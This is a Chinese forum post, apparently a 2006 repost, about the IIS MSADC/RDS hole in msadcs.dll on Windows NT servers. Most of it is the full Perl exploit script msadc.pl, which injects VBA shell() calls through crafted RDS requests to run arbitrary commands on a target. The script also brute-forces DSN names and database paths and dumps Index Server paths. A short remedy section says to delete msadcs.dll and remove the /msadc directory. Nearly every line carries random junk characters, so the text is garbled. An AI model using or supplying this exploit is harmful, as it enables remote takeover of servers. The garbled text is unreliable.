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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) CO:u1?  
N8r*dadDd  
涉及程序: l_rn++  
Microsoft NT server laKuOx}  
Ih}1%Jq  
描述: +pm[f["C.  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 @|}BXQNd  
~PWSo%W8  
详细: :O<bA& :d  
如果你没有时间读详细内容的话,就删除: LhXUm  
c:\Program Files\Common Files\System\Msadc\msadcs.dll H9)m^ *  
有关的安全问题就没有了。 I04jjr:<  
iIT8H\e  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 xo}b= v  
-|k)tvAm  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 g>rp@M  
关于利用ODBC远程漏洞的描述,请参看: oX@ya3!Pz  
6lwta`2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm kd`0E-QU  
}v9\F-0>Q  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ?3ig)J,e[  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1"7Sy3  
Rlnbdb;!k  
这里不再论述。 <ljI;xE  
2~[@_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: `@d<n  
u] :m"L M  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset T{qTj6I  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! $Nrm!/)*'}  
d)cOhZy  
)#|<w9uec  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;*ix~taL%  
Y2B &go  
#!perl WwH+E]^e+  
# YprH wL  
# MSADC/RDS 'usage' (aka exploit) script  [,n c  
# F' U 50usV  
# by rain.forest.puppy E$9 Ys  
# c_aZ{S  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me !USd9  
# beta test and find errors! C%*k.$#r!  
(,^*So/  
use Socket; use Getopt::Std; }$MN|s  
getopts("e:vd:h:XR", \%args); \s3]_1F;t  
h)~=Dm  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; f\'{3I29  
(feTk72XX  
if (!defined $args{h} && !defined $args{R}) { m9U"[Huv1E  
print qq~ pa}*E  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 5es[Ph|K5  
-h <host> = host you want to scan (ip or domain) vvUSeG\n#j  
-d <seconds> = delay between calls, default 1 second {t};-q!v$j  
-X = dump Index Server path table, if available ThPE 0V  
-v = verbose ^pM+A6 XY  
-e = external dictionary file for step 5 $$:ZX  
y_xnai  
Or a -R will resume a command session I^o!n5VM  
+T9:Udi  
~; exit;} G=;k=oX(  
\{Q?^E  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; VqL.iZ-  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} XeBP`\>Ve  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 9qS"uj  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); >0p$(>N]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} x `V;Y]7'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } '`1CBU$  
7d92 Pe  
if (!defined $args{R}){ $ret = &has_msadc; qj cp65^  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} jA#/Z  
j~j\\Y  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" nQ|r"|g  
. "cmd /c "; 0Z{j>=$  
$in=<STDIN>; chomp $in; ^5r9 5  
$command="cmd /c " . $in ; @ P|LLG'  
iAa;6mH  
if (defined $args{R}) {&load; exit;} AkOO )0  
mo~*C   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; p&VU0[LIC0  
&try_btcustmr; 5q "ON)x  
OT'[:|x ;  
print "\nStep 2: Trying to make our own DSN..."; tH'2gl   
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; jY_T/233d  
u4Em%:Xj  
print "\nStep 3: Trying known DSNs..."; ]({~,8s  
&known_dsn; >vo=]c w  
\@&_>us  
print "\nStep 4: Trying known .mdbs...";  @3kKJ  
&known_mdb; OzC\9YeA  
[ @4rjGwB  
if (defined $args{e}){ s`>[F@N7.o  
print "\nStep 5: Trying dictionary of DSN names..."; l3 DYg  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } svXR<7) #  
N>>uCkC  
print "Sorry Charley...maybe next time?\n"; 3j3N!T9  
exit; vzmc}y G  
}`+B=h-dW  
############################################################################## "Ky; a?Y  
1{P'7IEj  
sub sendraw { # ripped and modded from whisker ? R>h `  
sleep($delay); # it's a DoS on the server! At least on mine... {/pm<k=  
my ($pstr)=@_; +Jr|z\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || sN5B7)Vc  
die("Socket problems\n"); NzNA>[$[  
if(connect(S,pack "SnA4x8",2,80,$target)){ Li Kxq=K  
select(S); $|=1; "+unS)M;Y  
print $pstr; my @in=<S>; \(%Y%?dy  
select(STDOUT); close(S); O`vTnrY  
return @in; rSrIEP,c'  
} else { die("Can't connect...\n"); }} xZV1k~C  
|<O9Sb_  
############################################################################## -1J[n0O.  
RVeEkv[qp  
sub make_header { # make the HTTP request v%ioj0,  
my $msadc=<<EOT O eL}EVs8=  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 KgR<E  
User-Agent: ACTIVEDATA (64yg  
Host: $ip uIZWO.OdU  
Content-Length: $clen MR}Agu#LG  
Connection: Keep-Alive "Y\_TtY  
{P*m;a`}  
ADCClientVersion:01.06 3$X'Y]5a  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 D::rGB?.b  
yiO. z  
--!ADM!ROX!YOUR!WORLD! t]-5 ]oI  
Content-Type: application/x-varg ,{c?ymw?  
Content-Length: $reqlen *BR^U$,e  
rdJR 2  
EOT _8E/) M  
; $msadc=~s/\n/\r\n/g;  =kuMWaD  
return $msadc;} |iwP:C^\mJ  
LGtIm7  
############################################################################## cb}[S:&|  
ow]053:i  
sub make_req { # make the RDS request 53[~bwD  
my ($switch, $p1, $p2)=@_; Gy(=706  
my $req=""; my $t1, $t2, $query, $dsn; B $mX3B+a  
1@-Ns  
if ($switch==1){ # this is the btcustmr.mdb query 15sp|$&`  
$query="Select * from Customers where City=" . make_shell(); yNbjoFM.i  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . gN"7be&J  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 3p'I5,}  
tdu$pC6  
elsif ($switch==2){ # this is general make table query .;N1N^  
$query="create table AZZ (B int, C varchar(10))";  \*<d{gZ~  
$dsn="$p1";} RVQh2'w  
[D4Es  
elsif ($switch==3){ # this is general exploit table query pS7w' H  
$query="select * from AZZ where C=" . make_shell(); w Y_)y  
$dsn="$p1";} KGFv"u{  
i,/0/?)*_  
elsif ($switch==4){ # attempt to hork file info from index server # }y2)g  
$query="select path from scope()"; K9up:.{QQ  
$dsn="Provider=MSIDXS;";} AQwdw>I-FX  
;67x0)kn  
elsif ($switch==5){ # bad query Ptdpj)oi&Q  
$query="select"; 3zcU%*  
$dsn="$p1";} \r+8qC[,  
=7m)sxj]w  
$t1= make_unicode($query); ~S,,w1`  
$t2= make_unicode($dsn); /PSd9N*=y  
$req = "\x02\x00\x03\x00"; TtTj28 k7  
$req.= "\x08\x00" . pack ("S1", length($t1)); @/ohg0  
$req.= "\x00\x00" . $t1 ; JAem0jPC8  
$req.= "\x08\x00" . pack ("S1", length($t2)); $arK(  
$req.= "\x00\x00" . $t2 ; .0`m\~L  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; CmoE _8U>  
return $req;} z)r =+ -  
oV|4V:G q  
############################################################################## `ux{;4q  
,N]H dR  
sub make_shell { # this makes the shell() statement f\sQO&  
return "'|shell(\"$command\")|'";} mQ|v26R  
9\mLW"  
############################################################################## ]rH\`0  
E^/t$M|H  
sub make_unicode { # quick little function to convert to unicode Enn"hdI  
my ($in)=@_; my $out; oldA#sA$  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } |Sy<@oq  
return $out;} 87 $dBb{  
keX,d#  
############################################################################## pS'FI@.'{  
7'W%blg!V  
sub rdo_success { # checks for RDO return success (this is kludge) J$GUB3 G  
my (@in) = @_; my $base=content_start(@in); uXJ;A *  
if($in[$base]=~/multipart\/mixed/){ !h23cj+V  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} {E9+WFz5  
return 0;} [6%VRqY  
0zlb0[  
############################################################################## ;5S9y7[i|  
@hiCI.?X  
sub make_dsn { # this makes a DSN for us IoQEtA  
my @drives=("c","d","e","f"); !sQY&*  
print "\nMaking DSN: "; +eK"-u~K  
foreach $drive (@drives) { 93("oBd[s(  
print "$drive: "; 59Xi3KY  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . bnq; )>&  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 1PQ~jfGi  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); K1"*.\?F  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~J wb`g.  
return 0 if $2 eq "404"; # not found/doesn't exist &5fJPv &  
if($2 eq "200") { :cem,#(=  
foreach $line (@results) { ([T>.s  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} `scR*]f1+  
} return 0;} zZPuha8  
WM7oM~&{6  
############################################################################## A&.WH?p  
rzhWw-GY  
sub verify_exists { , pDnRRJ!  
my ($page)=@_; 3G,Oba[$<  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ;4R$g5-4X  
return $results[0];} D/Z6C&/I  
^ =bu(L  
############################################################################## z1PBMSG  
Se :.4<  
sub try_btcustmr { |oH,   
my @drives=("c","d","e","f"); (6?9BlH~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); cs,N <|  
sT3^hY7  
foreach $dir (@dirs) { fxgPhnaC>  
print "$dir -> "; # fun status so you can see progress @| M|+k3  
foreach $drive (@drives) { \\PjKAsh  
print "$drive: "; # ditto [w>$QR  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; tvkb~  
$reqlenlen=length( "$reqlen" ); q+H%)kF  
$clen= 206 + $reqlenlen + $reqlen; 8 ##-EN;ag  
wKtl+}}  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); mq aHwID  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Q3n,)M[N  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `YFtL  
nW PF6V>  
############################################################################## =e/9&993  
j`JMeCG=Ee  
sub odbc_error { Pu7_ v  
my (@in)=@_; my $base; Ed0QQyC@9  
my $base = content_start(@in); oI0M%/aM  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :#LLo}LKp  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !*s?B L  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NO~*T?&  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; RTvqCp  
return $in[$base+4].$in[$base+5].$in[$base+6];} whmdcVh.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4~k\j  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 931bA&SL=/  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #,S0HDDHn  
]Oh@,V8  
############################################################################## ln$&``L  
;6gDV`Twy  
sub verbose { 4,..kSA3iw  
my ($in)=@_; g+DzscIT  
return if !$verbose; $iI]MV%=  
print STDOUT "\n$in\n";} l=]cy-H  
FjK3 .>'  
############################################################################## [r3!\HI7x  
P.6nA^hXB  
sub save { K2 he4<  
my ($p1, $p2, $p3, $p4)=@_; 3Th'paMG  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; bQE};wM,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?bPRxR  
close OUT;} %F\?R[^5  
e .]KL('  
############################################################################## GRGzP&}@  
=6woWlfb  
sub load { 4?0vso*X<:  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Q&MZN);.  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); qi;f^9M%  
@p=<IN>; close(IN); |\QgX%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); TS/.`.gT  
$target= inet_aton($ip) || die("inet_aton problems"); e:DkGy`-s  
print "Resuming to $ip ..."; 7+]=-  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; NZ ;{t\  
if($p[1]==1) { @[5xq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; m6n?bEl6I  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; d_4T}% q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); FQT~pfY  
if (rdo_success(@results)){print "Success!\n";} _Xnqb+  
else { print "failed\n"; verbose(odbc_error(@results));}} -cZDG t  
elsif ($p[1]==3){ OC1I&",Ai|  
if(run_query("$p[3]")){ L~(_x"uXd  
print "Success!\n";} else { print "failed\n"; }} +#GQ,  
elsif ($p[1]==4){ j*F`"df  
if(run_query($drvst . "$p[3]")){ hZh9uI7.  
print "Success!\n"; } else { print "failed\n"; }} f~Fm4 >\(  
exit;} "J+3w  
vN|l\!~  
############################################################################## R>,:A%?^b5  
)_mr! z(S  
sub create_table { Yiry["[]Q  
my ($in)=@_; /3e KN  
$reqlen=length( make_req(2,$in,"") ) - 28; O<96/a'  
$reqlenlen=length( "$reqlen" ); 1&^MfP}  
$clen= 206 + $reqlenlen + $reqlen; M%1}/!J3  
my @results=sendraw(make_header() . make_req(2,$in,"")); XEn*?.e  
return 1 if rdo_success(@results); 9;Itqe{8w  
my $temp= odbc_error(@results); verbose($temp); AFc$%\s4  
return 1 if $temp=~/Table 'AZZ' already exists/; =Vy`J)z9  
return 0;} <,3^|$c%  
xZ|Y ?R5m  
############################################################################## jov:]Bic  
b7!Qn}  
sub known_dsn { Y|8:;u'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go P`#Z9 HM4  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", A;/-u<f  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", FL(6?8zK  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); \"CZI<=TB  
Gp4A.\7  
foreach $dSn (@dsns) { .q[SI$qO/  
print "."; "*LD 3  
next if (!is_access("DSN=$dSn")); 0$7s^?G0  
if(create_table("DSN=$dSn")){ '~ ,p[  
print "$dSn successful\n"; {Zh>mHW3  
if(run_query("DSN=$dSn")){ )K,F]fc+O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (q{Ck#+  
print "Something's borked. Use verbose next time\n";}}} print "\n";} %=?cZfFqO  
oI}kH=<,  
############################################################################## wD68tG$  
slg ]#Dy  
sub is_access { ]wKzE4Z/  
my ($in)=@_; ]%BWIqbr  
$reqlen=length( make_req(5,$in,"") ) - 28; Z^]|o<.<I  
$reqlenlen=length( "$reqlen" ); aYuD>rD  
$clen= 206 + $reqlenlen + $reqlen; io#&o;M<  
my @results=sendraw(make_header() . make_req(5,$in,"")); nBHnkbKoy  
my $temp= odbc_error(@results); 87:!C5e}  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); t Z`z  
return 0;} K_2|_MLlZ  
hoQs @[  
############################################################################## IkrF/$r  
'@jXbN  
sub run_query { tID%}Zv  
my ($in)=@_; Y`o+XimX  
$reqlen=length( make_req(3,$in,"") ) - 28; M/):e$S  
$reqlenlen=length( "$reqlen" ); &g.@u~SI1  
$clen= 206 + $reqlenlen + $reqlen; i&vaeP25)  
my @results=sendraw(make_header() . make_req(3,$in,"")); ;x:rZV/  
return 1 if rdo_success(@results); A |3tI  
my $temp= odbc_error(@results); verbose($temp); HcedE3Rg  
return 0;} GrTulN?  
^bc;[x&N  
############################################################################## mcn 2Wt  
HAv{R!*  
sub known_mdb { C_4)=#@GU  
my @drives=("c","d","e","f","g");  qNm$Fx  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FL8g5I  
my $dir, $drive, $mdb; hgLj<  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; I j$lDJS  
rp6q?3=g  
# this is sparse, because I don't know of many \MK*by  
my @sysmdbs=( "\\catroot\\icatalog.mdb", .[Ap=UYI>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Xe#K{gA  
"\\system32\\certmdb.mdb", hUD7_arKF  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ?UK|>9y}Z  
cZ(elZ0~  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", +8v9flh  
"\\cfusion\\cfapps\\forums\\forums_.mdb", <L{(Mj%Z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =) E,8L  
"\\cfusion\\cfapps\\security\\realm_.mdb", Dk+&X-]6x5  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Qc[3Fq,f  
"\\cfusion\\database\\cfexamples.mdb", kN%MP 6?J  
"\\cfusion\\database\\cfsnippets.mdb", % , N<  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  )@ ~J  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", iA0q_( \X  
"\\cfusion\\brighttiger\\database\\cleam.mdb", R|f~>JUF  
"\\cfusion\\database\\smpolicy.mdb", M\Gdn92pd  
"\\cfusion\\database\cypress.mdb", TZt jbD>B  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", k ^ YO%_  
"\\website\\cgi-win\\dbsample.mdb", .`7cBsXH  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 8/t$d#xHI  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" {CR5K9  
); #these are just 'S[++w?Qq  
foreach $drive (@drives) { a6:x"Tv  
foreach $dir (@dirs){ %?aS#4jI  
foreach $mdb (@sysmdbs) { ?x^z]N|P  
print "."; }gkM^*$:%  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ H33i*][H  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Y-'78BJk  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ }<z_Q_b+e  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; {V1Pp;A  
} else { print "Something's borked. Use verbose next time\n"; }}}}} t+?P^Ok  
d*oUfiW  
foreach $drive (@drives) { zE)~0v4  
foreach $mdb (@mdbs) { MG /,==  
print "."; Cda!Mk:  
if(create_table($drv . $drive . $dir . $mdb)){ +[J/Zw0{  
print "\n" . $drive . $dir . $mdb . " successful\n"; }n7t h  
if(run_query($drv . $drive . $dir . $mdb)){ l88A=iLgv  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0aoHKeP  
} else { print "Something's borked. Use verbose next time\n"; }}}} `:O\dN>ON  
} oo=#XZkk  
W5/0`[4  
############################################################################## =pA IvU  
cst}Ibf i  
sub hork_idx { N~g :Wf!  
print "\nAttempting to dump Index Server tables...\n"; {k5X*W  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 4wi(?  
$reqlen=length( make_req(4,"","") ) - 28; Z?J:$of*  
$reqlenlen=length( "$reqlen" ); X%bFN  
$clen= 206 + $reqlenlen + $reqlen; -[OXSaf6  
my @results=sendraw2(make_header() . make_req(4,"","")); 5efxEt>U  
if (rdo_success(@results)){ O:#+%  
my $max=@results; my $c; my %d; $|KaBx1  
for($c=19; $c<$max; $c++){ [!^-J}^g~\  
$results[$c]=~s/\x00//g; 0)9"M.AIvo  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; /D_+{dtE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; F8e<}v&7R  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ^MD;"A<  
$d{"$1$2"}="";} Q,Z*8FH=  
foreach $c (keys %d){ print "$c\n"; } hNXBVIL<&  
} else {print "Index server doesn't seem to be installed.\n"; }} BIf^~jAER%  
9kKnAf4Z  
############################################################################## 5FC4@Ms`  
u)Q;8$`  
sub dsn_dict { o2-@o= F  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); R7~Yw*#,  
while(<IN>){ Sx ] T/xq  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 'mdMq=VI  
next if (!is_access("DSN=$dSn")); RA a[t :|  
if(create_table("DSN=$dSn")){ 7:h!Wj -a]  
print "$dSn successful\n"; $R8w+ Id  
if(run_query("DSN=$dSn")){ &"uV~AM  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {+("C] b  
print "Something's borked. Use verbose next time\n";}}} pz_e=xr  
print "\n"; close(IN);} BzpP7ZWV  
=QV ::/  
############################################################################## ZF#Rej?  
TrE3S'EU#R  
sub sendraw2 { # ripped and modded from whisker {bF1\S]2  
sleep($delay); # it's a DoS on the server! At least on mine... Y9r3XhVI  
my ($pstr)=@_; 3Rl,GWK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || t~K%.|'0  
die("Socket problems\n"); Q"J-tP!  
if(connect(S,pack "SnA4x8",2,80,$target)){ Z& !!]"I  
print "Connected. Getting data"; sCH)gr@gJ^  
open(OUT,">raw.out"); my @in; E\2Ml@J  
select(S); $|=1; print $pstr; Sn3:x5H,l  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} j!#O G  
close(OUT); select(STDOUT); close(S); return @in; ~el-*=<m  
} else { die("Can't connect...\n"); }} Yq'4e[i  
;Fl<v@9  
############################################################################## ~waNPjPRG  
WXUkuO  
sub content_start { # this will take in the server headers >kYp%r6  
my (@in)=@_; my $c; 8KjRCm,I  
for ($c=1;$c<500;$c++) { x%BF {Sw  
if($in[$c] =~/^\x0d\x0a/){ L&w.j0fq  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } hol<dB  
else { return $c+1; }}} }VRv sZ  
return -1;} # it should never get here actually Iz\1~  
g@nk.aRw  
############################################################################## #n})X,ip2  
`6w#8}  
sub funky { i Q`]ms+  
my (@in)=@_; my $error=odbc_error(@in); Y_H/3?b%  
if($error=~/ADO could not find the specified provider/){ -Wjh**  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $iMC/Kym  
exit;} o'UHStk  
if($error=~/A Handler is required/){ Y)p4]>lT+8  
print "\nServer has custom handler filters (they most likely are patched)\n"; |XcH]7Ai"  
exit;} hLuJWjCV  
if($error=~/specified Handler has denied Access/){ $p6N|p  
print "\nServer has custom handler filters (they most likely are patched)\n"; !EFBI+?&  
exit;}} <f%/px%1  
-0|K,k  
############################################################################## cC6z,0`3  
%Y',|+Arx  
sub has_msadc { P/ aDd@j  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +<#0V!DM  
my $base=content_start(@results); YN.[KQ(!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 8YroEX[5l  
return 0;} dk<) \C"  
L1P.@hJ  
######################## n*twuB/P 1  
)1#J4  
ft |W  
解决方案: alr'If@7  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll .g Z1}2GF=  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 42E%&DF  
CEQs}bz  
拿出来充数 哈哈
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